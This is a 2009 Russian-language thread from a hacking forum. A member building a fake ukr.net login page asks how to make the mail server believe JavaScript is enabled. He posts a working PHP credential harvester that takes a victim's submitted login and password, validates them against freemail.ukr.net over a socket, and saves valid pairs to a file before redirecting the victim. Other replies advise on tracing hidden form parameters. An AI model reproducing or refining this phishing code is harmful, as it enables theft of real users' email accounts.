ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Отключенный javascript
  #1  
Старый 23.07.2009, 04:55
Аватар для sNt
sNt
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме:
659306

Репутация: 34
Отправить сообщение для sNt с помощью ICQ
По умолчанию Отключенный javascript

Делаю фейк ukr.net с проверкой авторизации. Идет отсылка на сервер данных, после чего анализация ответа и на основе этих данных уже выносим вердикт: верен ли пас или нет. Проблема в том, что хост проверяет наличие включенного javascript и если таковой не оправдывает ожидания, то вообще обрубает нахрен все попытки отослать запрос на авторизацию, мотвивируя тем, что без явы у вас ничего не выйдет путного. Вопрос: как можно "объяснить" серверу, что у меня ява-таки включена путем отсылки заголовков? Спасибо

Последний раз редактировалось sNt; 23.07.2009 в 16:50..
 
Ответить с цитированием

  #2  
Старый 23.07.2009, 06:49
Аватар для r00nix
r00nix
Познающий
Регистрация: 07.05.2009
Сообщений: 54
Провел на форуме:
487201

Репутация: 80
Отправить сообщение для r00nix с помощью ICQ
По умолчанию

Смею предположить, что используешь PHP. Как отправляешь запрос на сервер, соксами или с помощью curl?
 
Ответить с цитированием

  #3  
Старый 23.07.2009, 16:47
Аватар для sNt
sNt
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме:
659306

Репутация: 34
Отправить сообщение для sNt с помощью ICQ
По умолчанию

Сокетами
 
Ответить с цитированием

  #4  
Старый 23.07.2009, 16:55
Аватар для sNt
sNt
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме:
659306

Репутация: 34
Отправить сообщение для sNt с помощью ICQ
По умолчанию

Сам скрипт отправки:
PHP код:
<?php

$login 
$_POST['login'];
$pass $_POST['password'];
$domain $_POST['domainname'];

$login 'helloworld';
$pass '123456';

$fp fsockopen('freemail.ukr.net'80$errno$errstr30); 

if (!
$fp) die('<p>'.$errstr.' ('.$errno.')</p>'); 

$data "backURL=http%3A%2F%2Fwww.ukr.net%2F&Challenge=17b4577ec6c587490be96663f27bc9fb&Submit=Submit&Login=$login&Password=$pass&submit=%D0%92%D0%BE%D0%B9%D1%82%D0%B8"
$headers  "POST /q/splash HTTP/1.1\n"// отвечает за тип протокола!  
$headers .= "Host: freemail.ukr.net\n"
$headers .= "Connection: close\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 8; Windows 5.1)\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n".$data

fwrite($fp$headers.$data); 

while ( !
feof($fp) ) $line .= fgets($fp1024);

fclose($fp);

$auth=0;

$text="EPOSTMAILSESSIONID";
if(
preg_match("/$text/i""$line")) {$auth=1;} else {$auth=0;}
echo 
$line;
if(
$auth==1
{
$file=fopen("base.txt""a");
fwrite($file"$login@$domain:$pass\r\n");
fclose($file); { header("location: http://mail.km.ru/folders/folders.htm");} }else { header("location: index.php"); }

?>
Скрипт выведет ответ от сервера. Там все видно
 
Ответить с цитированием

  #5  
Старый 23.07.2009, 16:58
Аватар для попугай
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

наверняка там яваскриптовый код , при нажатии кнопки входа он исполняется и какому-то параметру в hidden поле присваивается значение, которое говорит о том, что js включен. Соотвественно, если js выключен - то этого значения не будет. И уже скрипт на серваке смотрит есть ли оно или нет. Поэтому отследи все параметры передаваемые на сервак при авторизации.
 
Ответить с цитированием

  #6  
Старый 23.07.2009, 17:22
Аватар для sNt
sNt
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме:
659306

Репутация: 34
Отправить сообщение для sNt с помощью ICQ
По умолчанию

ща глянул... Там по ходу если что-то такое и есть, то в самом скрипте происходит т.к. нету вообще никаких опознавательных знаков, которые могли бы свидетельствовать о каких-либо проверках и тому подобого. Тупо blablabla код 'Пожалуйста, включите javascript' и т.д. Никаких проверок я не увидел. Видать, на сервере процесс происходит
 
Ответить с цитированием

  #7  
Старый 23.07.2009, 21:00
Аватар для попугай
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

серверные скрипты не могут самостоятельно определить включен или нет яваскрипт
 
Ответить с цитированием

  #8  
Старый 23.07.2009, 21:07
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

всё есть на ачаде, имеющий ухи да обрящет:

https://forum.antichat.ru/showpost.php?p=1302135&postcount=33
 
Ответить с цитированием

  #9  
Старый 23.07.2009, 23:58
Аватар для sNt
sNt
Участник форума
Регистрация: 30.07.2008
Сообщений: 152
Провел на форуме:
659306

Репутация: 34
Отправить сообщение для sNt с помощью ICQ
По умолчанию

Пшкела, немного не то имхо. Мне не нужно ничего делать с этой страницей. Мне нужно дать серву понять, что у меня включен яваскрипт и все. Ничего делать в итоге мне не нужно. P.S. Он определяет наличие включенного яваскрипта сразу после захода т.е. без всяких нажатий. В коде не могу ничего найти. Помогите, плз. http://ukr.net

Последний раз редактировалось sNt; 24.07.2009 в 00:04..
 
Ответить с цитированием

  #10  
Старый 24.07.2009, 00:04
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

ты в исходники-то смотрел? Там один сплошной яваскрипт, начиная с определения языка и etc.

Кнопок он не жал. А их жать и не надо
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Проводим XSS без javascript Xex Авторские статьи 23 31.08.2007 04:21
Основы JavaScript .Slip Авторские статьи 20 16.05.2006 23:44
Система авторизации на Javascript Xex Авторские статьи 3 26.04.2006 13:42
Books JS FRAGNATIC PHP, PERL, MySQL, JavaScript 0 11.08.2005 16:57
Bypassing JavaScript Filters the Flash! Attack k00p3r Чужие Статьи 0 12.07.2005 16:11



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ